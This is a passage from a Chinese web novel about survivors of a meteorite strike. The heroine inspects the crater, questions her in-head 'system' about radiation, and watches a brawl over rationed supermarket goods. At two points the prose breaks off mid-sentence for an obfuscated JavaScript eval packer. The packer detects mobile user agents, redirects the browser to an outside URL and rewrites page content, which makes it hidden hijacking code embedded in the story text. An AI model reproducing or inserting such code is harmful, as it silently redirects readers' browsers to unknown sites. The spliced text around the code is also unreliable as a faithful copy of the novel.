“这儿！我们在这！”周家楠答道。 穆叶循着声音的方向找过去，看见三人抱头蹲在地上。 风吹过，烟变淡了些。 王世柯抬起头看向穆叶，忽然感觉有股热热的东西，从太阳穴流了下去。 身后传来一阵阵哭声，是居民们因为爆炸飞溅物再次受伤。 他抬手抹了点那股热意一看。 是血。 周家蓉伤得更严重些，脸颊有两处划伤，下巴还被碎瓷片戳进了肉里。 王世柯的手在颤抖，这是他最直接面对灾难的一次。 如果再偏一点，受伤的就会是他的眼睛…… “我们……还去看，陨石吗？”他听见自己问。 “不，我们不去了！” 他又自己肯定了自己，他忘不了热浪扑在脸上，太阳穴被划破那一秒的感觉。 周家蓉后退了一步，飞快眨着眼皮，惊恐地探察其他危险因素。 她现在哪都不想去，不管是去看陨石，还是回家，这么长的路，谁敢保证路上不会发生类似的意外！ 万一呢？ 周逸东跌跌撞撞从车里跑出来。 他指着车说：“陨石你们自己去看吧，我、我不想去！一会儿你们回来，到那边的超市接一下我就行，我得去买点吃的喝的！” 穆叶扫视这四张脸，读出了相同的两个字：恐惧。 她理解他们的恐惧。 这一路过来，道路损毁、房屋坍塌、气温持续下降、随时可能发生的燃气爆炸…… 幸运地没被陨石选中，难道要被这样夺去生命吗？ 她也害怕，那阵气浪震得她的脚现在还有点麻，但她有不得不去的理由。 穆叶呼出口气，闷闷的声音从口罩下来传来： “物资是很重要，但掌握陨石的情况也很重要，那边肯定有政府的人，到底怎么回事，你们不想问问吗？” 王世柯表情里闪过一丝犹豫。 开始提出看陨石的就是他，即便是现在，他还是想听听官方怎么说。 穆叶看出他的挣扎，对他伸出手：“如果相信我，就把车借给我，我替大家去看看，你们留在这买物资。” 王世柯盯着她手看了一会儿，缓缓将钥匙放上去。 - 穆叶开着王世柯的车，继续往陨石落点过去。 周家楠从南下逃难、到他们小区接亲戚的人口中得知，陨石的落点就在天宝森林公园。 这座公园在庆阳县北边，是天宝山的一部分。 公园里四季常青，有丰富的物种，中小学生春游秋游常去，很难想象原来生机勃勃的地方，现在是什么样。 车玻璃破损，导致车内热气迅速流失。 穆叶停在路边，拿出宽胶带把碎玻璃简单固定了一下。 她绕过汽车无法通行的路，开足马力冲向天宝山脚下，终于在空调彻底失去作用的时候，抵达了目的地。 她把车停在直线距离陨石坑1公里的地方，周围全是小小的柏油路碎块。 这已经是车能开到最近的位置了，仰头就能看见山坡上露出地面的巨大陨石。 旁边也停着别的车，有不少人好奇，特意开车过来了解情况。 穆叶开门下车，瞬间感受到这片区域温度的特殊，她难以置信地回头看了眼车里的仪表盘。 这里的气温居然高达18度！ 要知道她是从零下16度的县城南边，一路开车过来的，仅仅一城之隔，温差居然有惊人的3 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320056|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 4度吗？！ “我去！别关门，我脱个外套！” 不远处，红色轿车的男孩暴力扯开围巾和羽绒服脱下，团成一团，投篮扔进车里。 他父母认同地点头，减去身上厚重的冬衣，单穿一件毛衣，锁上门，一家三口往上爬坡看陨石去了。 穆叶想了想，还是没脱衣服，只是摘下围巾拿在手里，捂着口罩减少吸入焦糊味，慢吞吞跟在一群人身后上去。 抵达陨石坑边缘前，还有一段不平坦的坡要走。 穆叶踩在一团坚硬的石块上，差点崴了脚，于是低头仔细观察地面。 除了柏油路的碎块、铺路用的石子、地下的泥土，还有些细小的灰白色的不明物质。 她抬头顺着山坡看上去，凝视着还在冒烟的陨石，想到了一个被忽略的问题。 ——陨石坠落在地上砸出坑，被撞击的土地向四周挤压，于是才出现了斜坡的地形。 “我去！这是下雪啦？” 周围的人闻声抬头，天上簌簌下着轻飘飘的“雪”。 穆叶伸出手，一小团灰白色落在了她的黑色手套上，轻轻一捻变成一道白灰。 “不是雪，是灰烬。”她轻声说。 “不是雪，是什么东西烧成的灰！”一个人高声喊出来。 所有人加快脚步，一口气冲到最顶端，被眼前的景象深深震撼。 这是一颗巨大的陨石，直径大概是一栋十多层楼的高度，难以精准描述它的大小。 落点正下方的土地焦黑，原先在这的道路、楼房、公园，仿佛从未存在过。 凭感觉，穆叶觉得这个碗状的、深度有几十层楼高的陨石坑，至少能并排装下5个体育馆，往下看，即便坑底还有颗存在感超强的陨石，也显得十分空旷。 【宿主。】 穆叶置若罔闻。 余光里，她看见不远处有两个人站在坑边蹦跳。 “是真的可以！” “看见没，我就说这里温度高，把结冰的水拿过来放会儿，一下就化冻了。” 他们脚下放着一只纯净水水桶，里面有半桶刚化完的水。 “老姐你可以啊！这地方好，还暖和，干脆等过两天，我们一家搬这附近住？” “嗯，我觉得可，留在家里还要担心万一哪天房顶塌了。” “那我们现在回去跟爸妈说，姐你往前走，我扛着水下来。” 和穆叶一起上来的人，被这对姐弟的对话一启发，纷纷议论起住在这周边的可能性。 穆叶脱下手套感受温度。 真的，是真的很像春天。 【宿主。】 陨石背后是一片火海。 她沿着坑边往天宝山脚下、黑烟升起的地方走，走过一半路程后，终于看清了是什么在燃烧。 天宝山面向陨石坑这一面，山上的树无论粗细，统一向远离陨石的方向倒伏，树枝上没留下任何一片树叶。 从山脚处烧起来的火，吞噬被冲击波撞倒的树，连带旁边塌成平地的别墅区和高层住宅区，都陷在橘红的火海里，所过之处，烧得只剩下漆黑的焦炭。 她看见山脚下有消防车。 本以为是火势凶猛，物资稀缺，所以放弃救火，直到走近了，才明白不是这样。 没有树根稳固土地，被削平的山顶上滚下大小不一的岩石和土块，一旦被砸中，轻则骨折，重则在火海中失去生命。 这要怎么救？！ 就连上山砍树，划出隔离带都做不到！ 别墅区废墟外围停了两辆警车，红□□安静地闪烁着。 三个警.察围着一个人，阻止她往火海里冲。 “放开我呜呜呜，我要去找我女儿！” 这是个六七十岁的老人，头上落满白灰，手里攥着一块脏污的白布，紧紧靠在心口上，满脸是泪，用沙哑的嗓音发出哭喊声。 “孩子，……妈的宝贝啊！” 她又想挣脱，被男女两个警.察，一个拽手一个抱腰拉了回来。 “大娘，去不得！”女警察抱紧在她耳边喊，“这么大的火，还有泄漏的燃气、酒精、气罐，随时都可能爆炸。” “砰！” 话音刚落，爆炸应声而起，碎成积木零件的建筑材料里又吐出一股黑烟。 老人挥着发颤的双手，跪了下去。 这个间隙，穆叶终于看清了她拿的白布是什么——是条白色连衣裙。 她的目光落在面前斜坡上，没烧干净的相框、沙发钢架、玩具、金属表带，都是从别墅区飞出来的私人物品。 皮肤被烘烤得越来越热，穿着羽绒服让她捂出一身汗，但她的心却凉透了。 如果…… 不！ 不会有这种如果！ 穆叶着急想到坡下找警察问问，一脚没踩稳，差点滑翻了。 旁边伸出一双手把她扶稳，转头一看，是个一手拎编织袋，一手握着铁钳，穿着围裙拾荒的大爷。 大爷语气轻悠悠的：“站好站稳，这山坡上不少钢筋铁皮，被扎了可不是开玩笑的，你抬下脚。” 铁钳从穆叶脚边的泥里抽出一根手臂长的钢筋，咣当扔进编织袋里。 大爷站直腰，擦掉额头上的汗。 他用铁钳指了指山坡下快要哭昏过去的老人，“多可怜！原来都是有钱人住这，昨晚大石头掉下来，这片的房子和路全消失了，另外这片房子塌成这样，人怕是全没了，已经来过好几拨找亲人的了。” 穆叶点头表示知晓，道谢后从斜坡上缓缓走下去。 站在老人身后的中年男警察拦住穆叶：“小姑娘，你是要找亲人？这地方现在可不能进去啊！” 穆叶摇头：“警官，我不是来找亲人的，我是想问问，你们知不知道这场陨石雨，全国的受灾情况，还有能不能联系上其他省市？” 【他不可能知道，消减人口是次要的，陨石雨首要的目的就是摧毁电力和通信。】 米克在她脑子里说话，穆叶听完记在心里，没理它。 “陨石雨？倒是贴切，”男警察点头，“我们仨昨晚值班，陨石落地后，到处乱糟糟的，全是群众来求救，我们到处帮忙，自己家都没顾得上回，快天亮才把情况稳定下来。” “同事们……哎，反正带班领导让我们先来看看，刚好碰上从消防的兄弟们，就一起了。” “我们一路过来，确定了全城没电没信号，局里县里的领导联系不上，其他领导的情况还在确认。气温骤降，这陨石附近火烧得停不下，温度又那么高，真是很古怪。不过，你问这些做什么，不是想趁乱做违法乱纪的事吧？” 穆叶解释道：“不是，是我家人在其他省。” 男警察的目光从怀疑转为同情：“我明白了，你想去外省找亲人。飞机、铁路都停运了，去哪都伴随着很大的危险，你得先想办法保护自己。你的亲人……你最好有个心理准备。” 穆叶沉沉呼出口气，尽力不把他的话放心里，点了点头就转身上坡，准备原路折返。 陨石坑边缘上，来看陨石的人换了一批。 有人面色阴沉地盯着坑中心的黑色巨石看，有人则是高呼这里好温暖，还有人掏出手机，打算把陨石拍下来，带给没跟来的家人看。 “欸，我手机怎么没电了？刚刚路上还有76%呢！” “要充电宝不？” “你给我充会儿……不行，咋充不进去电？” “算了，用我手机吧。” “嘿，你手机也不行啊！” “怎么可能，你给我……” 穆叶伸手摸进口袋，想拍点陨石照片，回去后慢慢分析。 但米克的喊声吵得她头疼，再也没办法装作听不见。 【宿主！宿主！宿主！宿主！】 穆叶停下动作，眉头皱得能夹死蚊子：“从刚刚就一直宿主、宿主地叫，我不是说不想和你讲话吗？” 【宿主可以讨厌系统，但作为辅助者，提醒你是我的职责。】 “那先你告诉我，陨石雨首要目的是摧毁电力和通信，这句话什么意思？” 【Dora星的科学家把毁灭物质称为XF物质，XF物质要毁灭宇宙中每个星球的文明。对于蓝星来说，文明发展的关键节点就是电力和通信，即便陨石雨不能消减全部人类，但没有电力和通信，蓝星人类灭亡只是时间问题。】 穆叶认真听完，把它提到的细节记在心里，然后问：“那云山什么情况，我爸妈是不是好好的？” 【……我没有读取整个蓝星信息的权限。】 穆叶冷哼：“是没有权限，还是没有能力？连天灾类型都预测不准，你到底有什么用呢？” 【宿主，我建议你先放下对我的偏见，对陨石使用鉴定试试。】 【你会感谢我的。】 24. 第 23 章 穆叶继续往前走，脚踢过碎石，窸窸窣窣地往陨石坑里滚。 “怎么，你让我做什么我就要做吗？别忘了那个该死的梦！” 【那是宿主根据系统给出的提示，自己做了错误决策，不能全赖给我……系统。】 穆叶不再理它。 她从那两个低头修手机的人身后经过，脚步一顿，目光落在他们的手机屏幕上。 如果说，摧毁通信是陨石雨的目标，那突然黑屏死机的手机，会不会也是其中一种方式呢？ 修手机的其中一人发觉穆叶站在他们身后，回头对她说：“小姐姐，你看看你手机能不能用？” “我没带手机上来。”她遗憾地笑笑，握紧了口袋里的手机。 那人耸肩：“好吧。” 穆叶继续离去的步伐，一路上又见证了两起手机突然损毁、无法使用的事，回到停车处正上方时，终于下定决心。 除了从未知处飞落蓝星，陨石还有秘密，是可以用【鉴定】看看。 她打开了多日未使用的【鉴定】功能，发现界面里出现了一些变化，但没等细看，陨石的鉴定结果就让她的大脑一片空白了。 是红色的，【辐射值：299999】 …… 接到抢购完物资的王世柯五人时，穆叶还在心里想着她看见的东西。 之前使用【鉴定】，只能得到一个带颜色的数字，但今天却明确给出了数值的含义。 辐射值……辐射…… 这是什么意思呢？ “穆叶！穆叶！”王世柯伸手在她眼前挥了挥。 穆叶回神，扭头看见他抱着大包小包的物资，一团地缩在座位上。 她回头看了看后排和他像复制粘贴的四人：“都买好了咱们就走吧。” 他们说不出话，只是抱着物资点头。 王世柯发现车里温度升不上去，把手贴在空调出风口上直接吹暖风。 他缩着脖子看穆叶：“你真不去买点？我们抢这些东西可费劲了，超市塌了一大半，老板好不容易把货弄出来，几个人不问价格，扔下五六张百元大钞，抱着几提碎泡面就跑，物价怕是翻了几倍不止。” 穆叶摇摇头，“车玻璃碎了，不知道能撑多久，明天我再买物资吧。” 王世柯看了眼胶带粘的车窗，想想没了玻璃冷风灌进来是什么感觉，没再说话。 兴许是抱着物资，这会儿又在回家路上，周逸东又有了底气，他问：“穆叶，你去看了那陨石，是什么样啊？” 穆叶如实回答：“是颗很大的黑石头，还在冒烟，石头下面原本的道路和房屋全都消失了，周围的小区成了废墟，还有天宝山，全都烧起来了。” 周家蓉忧心地问：“你看见政府的人了吗？” 穆叶点头：“遇见了南边过去的警察和消防。” “那他们知道是怎么回事吗？后续有什么安排？” “不知道。县里领导联系不上，他们昨晚值班，陨石掉落后才被单位领导派来查看情况。后续安排没说，但我想他们肯定会调查陨石。” “说出来你们也会觉得毛骨悚然，天宝山被火海吞没了，陨石周围两公里温度接近20度，异常暖和。” 几人发出惊叹：“20度！”“天宝山烧了？”“这么热，真的假的！” 说起突然降温到零下和异常的温差，他们就有太多可聊的了。 又是猜测降温和陨石雨的关系，又是讨论陨石附近的高温是否和火灾有关。 穆叶一只耳听着，思绪又飞到了变化的【鉴定】功能和刚刚的鉴定结果上。 她打开了【鉴定】页面，没有刻意对某个物体使用，无数红色和黄色的数字在视野中快速向后飞去。 红色清一水都是“辐射值”。 她试图锁定黄色数值前面的文字，什么“含水量”、“净含量”、“余量”、“残缺度”都来了，没有统一的说法。 ……这什么这是。 “米克，”她在心里喊，“你说过你是树屋系统的——” 【辅助者。】 “对，辅助者。那关于系统功能，你有责任向我解释吧？” 【嗯…】 它发出了一个奇怪的腔调，穆叶从中听出了得意的感觉。 像电视剧里那种什么都不懂，但一不小心说中了结果，别人问怎么知道还故作高深的角色，她顿时觉得哪有点别扭。 【当然，你说过我们是合作关系，你可以向我随意提问，我都会解答。】 穆叶减速躲过一辆横冲直撞的车，“你先告诉我，鉴定数值的颜色代表什么？” 【这个问题很简单，红色是辐射值，黄色会展示鉴定物最突出的中性数值，绿色是健康值，白色是文明值，宿主在鉴定时，可以切换不同颜色了解鉴定物的情况。】 穆叶想起在终端【居民管理】中看见的，当时她的状态值是绿色的“86”，这原来是指健康状态。 “文明值是什么意思？” 【文明值和树屋其他功能挂钩，建议宿主探索其他功能后，再进行询问。】 “好，那我们说说辐射值。” “按你的解释，辐射是纯负面的东西，之前的雨里有辐射，淋过雨的人都生病了，这是辐射的作用吗？” “除了生病，辐射会对人，不，应该是所有生物，产生什么影响？会引发变异，还是让生物机能衰退？” “最后，辐射范围有多大，会不会随时间减弱，有没有办法躲避，异常气候是辐射造成的吗？” 米克沉默了许久。 久到穆叶按了两下喇叭，催促它给答案，顺便提醒前面的车主小心开车。 【……这些问题的答案，系统没有记录，我不清楚。】 “你不清楚？”穆叶瞪大了眼睛。 如果米克有实体的话，这会儿她已经锤它八百下了。 “那你还夸下海口说随意提问，你……你到底知道什么啊！” 【我唯一能告诉宿主的就是，树屋是针对XF物质研究的，树屋是绝对的安全屋。】 - 经过一天一夜，幸存者们共享信息，终于把这场灾害的全过程拼凑出来。 陨石落下当时，处于落点上的天宝山别墅和高层住宅瞬间汽化，里面的人还没察觉陨石存在，就失去了生命，什么都没留下。 陨石落地后产生了冲击波，以陨石为中心，整个庆阳县三分之一的房屋被摧毁化为废墟，无法再居住那种。 越往南，房屋受损越轻微，以裂缝和窗户破损为主。 全城燃气管网也因此断裂，泄漏的燃气遇见明火，整个城市接二连三发生爆炸。 好在前期大量降雨，建筑和地面含水量高，燃烧面积无法扩得很大。 只是滚滚浓烟上升，笼罩天空，空气里是呛鼻的物品燃烧气味，市民被困废墟和火海，哀嚎遍野。 高楼倾倒、地面崩裂的同时，外界气温从1度慢慢下降到-15度，还有持续下降的迹象。 破裂的水管、消防栓被冻成冰雕，饮用水结冰。 失去房屋的市民和滞留的外地人，或投奔亲戚，获得临时避难所，或求助陌生人，得到几件衣服和少量食物，再或带上所有家当，前往开阔的公共空间，譬如地下停车场、商场、学校等，收集食物，捡拾纸张、木材烧火取暖，等待安排。 当然也有趁乱盗走财物、衣物、食物的人，但现阶段还是少数。 机场因为结构稳定，成了避难所之一，从机场废墟下救出来的游客，还有一些无房可住的居民就聚集在这里。 至于火车站…… 夜间发生了二次坍塌，白天破损严重但勉强直立的高楼，和老旧的公共建筑物，都消失在这场次生灾害中，火车站就包括其中。 当夜，气温继续降至-18度。 失温变成对生命最直接的威胁，掩埋在废墟下的伤者呼救声逐渐消失。 军.方和警.察用最快速度，完成了人员的筛减，合并重组为灾后救援工作组，作为临时官方的角色。 之后立即召集县里两所大医院幸存工作者，开展搜救和医疗，一刻不敢停歇。 但尽管如此，死伤还是不计其数。 至此，所有幸存者都弄清了目前的重点： 活下去。 …… 天亮了，燃烧一天一夜的火终于熄灭，到处飘着轻烟。 虽然爆炸还时有发生，但都是管道深处残留的燃气，破坏力并不惊人，运气好没爆炸的人家都立刻关闭水管阀、燃气阀。 家家户户忙着收拾残局、寻找医疗救治或避难所，全城只有几家大型超市重新开门营业。 这些超市是接到了工作组的安排。 穆叶听说工作组成立后，立刻联系了还有营业能力的大型超市和各类食品、用品加工厂。 几方商谈后，确定了供货细节，超市的营业时间、商品价格和限购规则。 工作组似乎还往每个大型超市派驻了一个军人小队，维持购物秩序。 早上11点，超市开门了。 等了许久的幸存者们，一窝蜂冲进超市开始采购。 周家蓉几人有了昨天的经历，深觉稳定的居所和充足的物资比一切重要。 是以，当穆叶来问要不要去超市时，她们想都没想就答应了。 周家蓉还是叫着哥哥一起。 周颖心担心丈夫，但想到两个孩子和年迈的父母，总算振作起来，挑起一家人生存的重担。 周逸东昨天虽然买了不少东西，但物资嘛，多多益善，也没拒绝。 只有王世柯没去，他家房屋损毁严重，三楼彻底塌了，里面放了不少财物，还有日常储存的几袋大米和几桶食用油，一家人忙着清理房屋，没空出门。 他的位置被陶诗琦顶替了。 她家情况比较紧急，吃喝没多少储备就算了，保暖的衣物也缺，她爷爷还在生病。 穆叶开着自己的车，带上他们五人，依旧忽略超载问题，一路往城东开去。 陶诗琪头埋在围巾里，安静地坐在副驾驶，后排四个人穿得很厚，挤着坐反而暖和，叽叽喳喳聊着天。 周颖心刚说完话，一抬头忽然发现他们在往城外开。 “我们这是去哪？好像不是去超市的路呀！” 其他讲话的人停了下来，打量周围环境，陶诗琪扭头看向穆叶。 穆叶平静地回答：“城郊有家大型仓储超市，商品又多又全，而且比起城内的，人肯定没那么多。” 几人恍然，称赞穆叶聪明，她笑笑没接话。 那家超市确实商品又多又齐，而且在郊区，肯定也没有城里超市抢购的人多。 但是，别忘了她的真实目的。 买东西只是顺便，打探城外情况才是正事，她得做好去云山的万全计划。 - 很快就到了超市门口。 停车场上乱七八糟放了不少车，但数量比想象的少太多了。 这些车破损程度比较轻微，兴许和她一样，都是从距离陨石落点很远的地方来的。 穆叶停在停车场最外围，六人下车步行进超市。 停在其他地方的人也下车往超市走来，有的拎着几个大号环保袋，有的拉着小推车。 一打照面，每个人脚下都加紧两步，最后莫名其妙变成了百米冲刺，抢着冲进超市了。 周家蓉和周逸东沉不住气，生怕慢人一步，也消失得没影。 穆叶看着落在门边的两只鞋，一想到有两个人被挤掉了鞋，就觉得有些好笑。 明明门边都贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329816|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了手写告示，“限量有序购买、只收现金”，早一步晚一步有什么差别呢。 超市里人声鼎沸，一些货物堆放在地上。 工作人员用发电机发电，在每条货架走道上放了三个灯泡。 但空间太大，那点光亮顶多能看清商品放在哪。 有不少自带手电筒的，周围人借了点光，总算不用摸黑购物。 结账排了六列长队，工作人员要确认限购物资是否超量，超量部分要回收，然后才计算金额收钱。 人手不足，繁琐的步骤无法简化成流水线，眼看结帐队伍越排越长，每个人都急的满头冒汗。 周颖心看着货架上还算充足的食物，安全感油然而生。 她转身去看超市宣传板上贴的告示： “营业时间为每日11:00—15:30，为保障物资合理分配，以下物资实行限购。” “单人单次限购：主食三选一（2kg装大米一袋、挂面1kg、压缩饼干8块），饮用水2L，肉类三选一（鸡蛋4枚、罐头2个、冷冻肉200g），菜类二选一（罐头4个、冷冻菜2kg），高热量食品（巧克力1条、糖果不超300g），蜡烛5根，火柴1盒、冻伤膏1支。” 周家蓉掰手指算了算，发现这些真就是一个人的分量，忙从包里摸出举全家之力凑得的现金，分给周家楠一半。 “哥你拿着，咱俩都把限额买够。” 周家楠接过钱。 他把告示又读了一遍，发出了惊讶的声音，指着现在结账的人，“他手里拿的是羽绒服吧，那些不限购吗？” 穆叶也觉得奇怪，但很快，她就知道为什么了。 2kg规格的大米原来20-30元一袋，现在80元一袋；午餐肉罐头原来35两罐，现在100元两罐；100g规格的巧克力原来23一条，现在110元一条…… 暖宝宝30元一片、棉服2600元、保暖内衣800元一套，羽绒服的价格更是吓人一跳，原价700元，现在6800元。 商品有限，全线涨价，限购物资的价格只翻了3-4倍，已经是官方调控的结果了。 有两个人走过来，看见价格后扭头就走了：“谁能拿出那么多现金买衣服，要我看，干脆废墟里刨两件人家不要的算了。” 周逸东抱着他的限购物资，重复了遍：“听见没，不如去废墟里刨。” 周家蓉拎着他的袖子走开，“不买别说话，那破得都漏风，怎么穿！” 她倒不觉得这话有错，只是他们都知道陶诗琦想买羽绒服，她担心她听了周逸东的话会不舒服。 穆叶整理着购物袋中的商品。 昨天她就没买物资了，今天还不买就不合理了。 她要了一人份的限购物资，另外，看见坚果区货品量还很多，于是挑着她买得少的拿了些。 180元的奶油碧根果两袋、150元的开心果一袋、210元的炭烤腰果1罐……前后总共拿了快2000元的食物。 在末世降临前，她取了5万现金放家里，今天拿了3000元来，剩下那一千多，她打算全拿去买100元一双的厚袜子。 穆叶摸黑数了12双袜子，多的大不了结账的时候退给超市。 她杵着膝盖站起来，才发现陶诗琦手捏钱包，也没买衣服，就站在原地发愣。 “怎么了，拿不着吗？要不要给你找人帮忙？” 陶诗琦回神，摇了摇头，手把钱包握得更紧了。 “穆叶，我看了，最便宜的羽绒服都要5300块，米面油不让多买，我就拿了点红薯干和小米，现在钱好像不够了。你能不能借我点，等城市重建，我就去银行取钱还你。” 穆叶愣了愣，“你差多少？” 她把钱包打开展示给穆叶看：“我只有5000块，如果你借我1500，应该就够了。” 穆叶看了看她的购物袋里：一小袋米、一小块肉、5根蜡烛、3包红薯干和4包小米。 1500块吗？ 穆叶想了想还是决定借，1500对她不算什么，对人家可能生死攸关。 她把钱数给陶诗琦，自己提着购物袋回坚果区，把超预算的坚果送回原位。 陶诗琦抱着冰凉但蓬松的羽绒服，低声呢喃：“我就说嘛……” - 选购很快，因为资金有限，选不出花。 但结账就很慢了，半小时过去，穆叶感觉自己一动未动。 周逸杰耐心要耗尽了：“是不是有人插队啊，这会儿了还有那没素质的呐！” 周家楠探出身子看，没见插队，倒是看见两个男人想抽烟，差点被周围人打出超市。 又过一小时，终于看见了结账柜台的边角。 疲惫一扫而空，他们都兴奋了起来，翻翻选购的物资，又把钱包掏出来数数钱够不够。 穆叶一心等结算，扭过头盯着门外的停车场发呆。 忽然，停车场上来了几辆小货车，下来一群人，浩浩荡荡闯入超市。 为首的是个穿着过长羽绒服、戴着围巾和帽子的矮小男人，他一挥手，跟来的人四散钻进货架区。 在结账柜台后整理货品的超市负责人迎了过来，排队的人不闲聊了，全都把注意力集中在耳朵上。 只见矮小的男人从怀里掏出几张纸，还有一个证件本，压低声音说了许多话。 负责人听得连连点头。 排在后面的人听不清楚，就转头往后看，好奇那些冲进货架区的人要干嘛。 结果刚好看见两个人站在货架边，一人撑着塑料袋，一人大手一挥，把食物往袋子里扫。 货架瞬间空了不少。 一个拉着小推车排队的年轻男人直起腰，抬手指着他们： “喂！你们干什么！” 25. 第 24 章 那道洪亮的男声落下一瞬间，所有排队的人惊醒，发出附和的声音，质问对方哪来的，凭什么拿那么多物资。 排在队伍前面的，绕过柜台揪住超市负责人，问这是怎么回事。 矮小的男人看形势不太好，忙从衣服里掏出他带来的文件和证件。 “各位！各位！别激动，我们是吴家庄的，我是村委会副主任吴波。” “大家都知道现在全城停电，又是低温环境，我们村留守老人和儿童都多，家里也没储备，这会儿全借住在其他村民家里。” “上面通知虽然没下来，但情况紧急不等人，我们从吴家庄来一趟不容易，必须多拿点吃的喝的穿的回去，不然真要把人冻死饿死了，大家担待一下！” 超市里静默了几秒，几乎所有人都在想象，老人和孩子在-18度的环境下生序是多么艰难。 但是总有人反驳。 “谁知道你说的是真是假？吴家庄离这可不近，什么情况还不是你张张嘴的事！” “就是，谁知道你们几个老人，几个儿童？” “别搞特殊，都必须按限购规矩来啊！在这的，谁不是要冻死饿死了！” 这话一出来，刚才还有点同情情绪的人立马清醒了。 大家都是面临冻死饿死的难题，说到底，他们还能有序地站在这排队、按照规定购买限制数量的食品，是出于对限购规则的认同，以及对超市的信任。 从心里说，他们早就把这的物资看成自己的了。 现在吴家庄的人大量扫货，等同于从他们口袋里往外拿东西。 有人上前一步，把两个男人手里的购物袋抢走，直瞪瞪地看着他们。 那两个男人远远看了眼吴波，还没问到他的意见，另外的同伴听见吵闹声，拎着一袋子牛肉罐头直接走出来查看。 看着他手里的东西，众人瞬间怒了，“是牛肉罐头，他爷爷的这是拿了多少！1个……4个……7个……13个……” 村民手里的袋子被抢走，随便一数，居然数出了22个牛肉罐头，还有几捆火腿肠，那袋子沉得都勒手！ “牛肉罐头本来克数就多，上面贴着单子说现在还不卖，你们倒好，一拿就是22个！我看你们就是强盗来抢东西的！” “别说了，快去盯着他们，不然一会儿把我们物资拿没了！” 说完，一小半排队的人保护好手中购物袋里的物资，冲进货架区找那些吴家庄的人。 超市负责人一脸为难，对吴波说：“你说你们只要足够活命的物资，那些牛肉罐头……你这……” 吴波看着自己带来的村民和别人打了起来，也顾不上解释了，笨重地冲进人堆，和村民一起抵抗攻击。 这反而让穆叶不确定了。 他们究竟是真的为了村子，需要那么多物资，还是借村子的名义来囤物资的。 混乱升级，十多个村民被围在中间，每个人都想去打一拳踢一脚，泄泄私愤，两拨人打的面红耳赤，手脚并用。 只是人太多了，打着打着，手里抓的头发就变成自己人的了，踹的也是自己人的屁股。 因为穿得厚，疼是不疼，但挑衅感极强。 一时间，鞋子、围巾、帽子、口罩、毛领齐飞。 穆叶拉着周家蓉和陶诗琦往后退一步，躲开了飞过来的黑色加绒皮鞋。 周家蓉吓了一跳，拍着胸口喊“天呐”。 没多久，混乱就被控制下来了。 六个穿着军大衣、皮肤黑红的军.人出现在超市门口。 扭打在一起的人们，看见熟悉的制服，以及他们背上背着的真理，理智瞬间回归，松开了手里抓着的东西。 走在第一个的军.人队长出列，用手挡住手中的真理，声音坚定地说：“根据庆阳县灾后救援工作组安排，我们小队接管优宁超市，负责安保、维持秩序、保障限购实施。” “现在，”他扫视在场所有人，“请这儿的负责人来向我说明情况。” 超市负责人整理凌乱的衣服，上前把刚才发生的事大概讲了讲。 队长听完后，叫着吴波一群人，进经理办公室具体询问情况。 好些人想知道后续怎么处理，就站在原地守着散落在地上的牛肉罐头。 也有人想离开的，于是在剩下几个军.人的组织下，重新排了四列队伍结账。 这回穆叶排在前面，很快就帮她结了账。 她提着东西走到侧面站着，把补回来的70块装进包里。 门口站着一个军.人，身姿挺拔，目不斜视，脸上带着点冻伤。 穆叶看了眼还排在队伍里的陶诗琦几人，决定上前和对方搭话。 从对方口中，她得知工作组的动向。 他们分成了几波人，一波还在积极搜救被困废墟的受灾者，一波安置幸存者、全城寻找物资，还有一波向外探索，试图联系别的城市。 同时，她还问到了最关心的消息。 “所以你们今早刚从隔壁县撤回来？” 军.人摇头：“准确说，我们只到了最外围的村庄，那里有一个陨石坑，周围几公里的村庄道路全部损毁，路断了，根本过不去，所以我们就回来了。” “那，绕路呢，绕开陨石坑的方向，往另一边进去？” 军.人叹了口气：“我们也想过，但是隔壁县不只有一个陨石撞击点，是两个，一大一小都落在城边上，那里不像庆阳有座天宝山挡着，陨石周围全是废墟。 他说完，看着一脸凝重的穆叶，问道：“姑娘你没事吧？” 穆叶回神，扯出个勉强的笑容，摇摇头。 她转身去找周家蓉和周家楠，兄妹两已经结好了账，提着东西和其他人一起站在经理办公室门口。 穆叶走过去问他们：“要等着听结果吗？” 周家楠点头：“肯定要听听，至少我们得知道怎么处理、公不公平，往后我们还要来买物资的嘛。” 穆叶了然，她把周家楠的话原封不动转达给了剩下三人，得到一致同意后，她退到人群之后，转身溜出大门。 她要亲眼去看看路上的情况。 黑色越野车点着火，调头离开超市停车场，往高速入口去。 上了高速，地面意外没有结冰打滑，穆叶开足马力往前，驶出去二十多公里后，遇见了第一辆对向来的车。 接着是第二辆、第三辆…… 那名军.人的话得到了验证，又开了接近十公里，高速路面上就出现了碎石和裂纹，中间的花坛隔离带被砸出了一个刚够车通过的口子。 穆叶能看见远处道路条件更差，但还是决定继续走。 最终，她停在了离庆阳县高速入口34公里的地方。 空气里有层薄雾，高速两旁的路灯和路牌全部损毁，地面全是裂纹，前方山间道路，一辆香槟色轿车被山石埋得只剩车尾。 再往前，是隆起的地面和青烟。 车外风声像什么的嚎叫声，吹得路上的小石子翻滚，车里虽然足够温暖，但她的心却很凉。 不仅仅是因为此路不通，而是一想到没有导航、随时需要绕道的路况、气温持续下降、找不到落脚处，去云山的路途忽然就变得无比遥远了。 …… 穆叶回到超市时，吴波一行人已经离开。 